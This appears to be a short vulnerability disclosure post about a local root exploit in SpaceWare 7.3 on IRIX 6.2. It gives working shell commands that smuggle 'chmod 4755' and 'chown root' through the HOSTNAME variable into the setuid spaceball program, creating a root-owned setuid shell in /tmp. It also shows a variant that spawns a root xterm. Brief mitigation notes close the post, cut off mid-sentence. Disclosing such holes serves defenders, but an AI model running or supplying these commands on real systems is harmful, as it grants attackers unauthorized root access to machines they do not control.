        I guess anyone who's reading this already have noticed (if
        you are playing with a SpaceBall), anyway here it goes:


cp /bin/sh /tmp/sh

echo 6 | HOSTNAME="/bin/chmod 4755 /tmp/sh" \
$SWDIR/spaceball > /dev/null 2>&1
echo 6 | HOSTNAME="/bin/chown root /tmp/sh" \
$SWDIR/spaceball > /dev/null 2>&1


        more information:

        IRIX 6.2
        spaceware 7.3 v1.0 (http://www.spacetec.com/)

        (Obviously, you can use HOSTNAME for any command you want
        to run as root, like
echo 6 | HOSTNAME="`which xterm` -e `which sh`" /usr/local/SpaceWare/spaceball


        a) rm (since spaceball.sh does lots of nasty things, like
        running spaceball demos as root, probably this is the best

        b) set HOSTNAME=/usr/bsd/hostname in the "Utilities" section of
